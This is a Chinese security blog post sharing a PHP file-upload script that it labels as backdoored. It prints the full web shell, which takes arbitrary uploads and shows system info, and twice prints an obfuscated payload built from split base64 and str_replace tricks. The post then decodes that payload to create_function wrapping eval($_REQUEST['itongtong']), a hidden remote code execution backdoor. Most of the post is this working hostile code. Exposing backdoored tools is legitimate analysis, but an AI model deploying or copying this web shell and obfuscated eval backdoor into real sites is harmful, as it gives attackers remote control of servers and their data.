微慑信息网

分享一个PHP上传脚本[带后门]-vulsee.com

<?php
echo "[modify] -by vulsee.com";
echo "<br>".php_uname()."<br>";
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='zb'><input type='submit' name='upload' value='upload'>
</form>";
if($_POST['upload']) {
  if(@copy($_FILES['zb']['tmp_name'], $_FILES['zb']['name'])) {
  echo "Success!";
  } else {
  echo "Failed to Upload.";
  }
}
?>
okokok<?php
$p = getcwd();
echo $p;
?>
<title>[modify]</title>
<?php

$uf="aXRvbmd0b"; 
$ka="ZXZhbCgkX1"; 
$pjt="JFUVVFU1Rb"; 
$vbl = str_replace("ti","","tistittirti_rtietipltiatice"); 
$iqw="25nXSk7"; 
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke"); 
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); 
$mpy = $sbp('', $bkf($vbl("W", "", $ka.$pjt.$uf.$iqw))); $mpy(); 
?>

<?php

$uf="aXRvbmd0b"; 
$ka="ZXZhbCgkX1"; 
$pjt="JFUVVFU1Rb"; 
$vbl = str_replace("ti","","tistittirti_rtietipltiatice"); 
$iqw="25nXSk7"; 
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke"); 
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); 
$mpy = $sbp('', $bkf($vbl("W", "", $ka.$pjt.$uf.$iqw))); $mpy(); 
?>

 

后面解码出来为:

$mpy = create_function('',eval($_REQUEST["itongtong"]));

 $mpy(); 

create_function在php7已经不支持了

本文标题:分享一个PHP上传脚本[带后门]-vulsee.com
本文链接:
(转载请附上本文链接)
http://vulsee.com/archives/vulsee_2021/0623_14546.html
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » 分享一个PHP上传脚本[带后门]-vulsee.com
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

微慑信息网 专注工匠精神

访问我们联系我们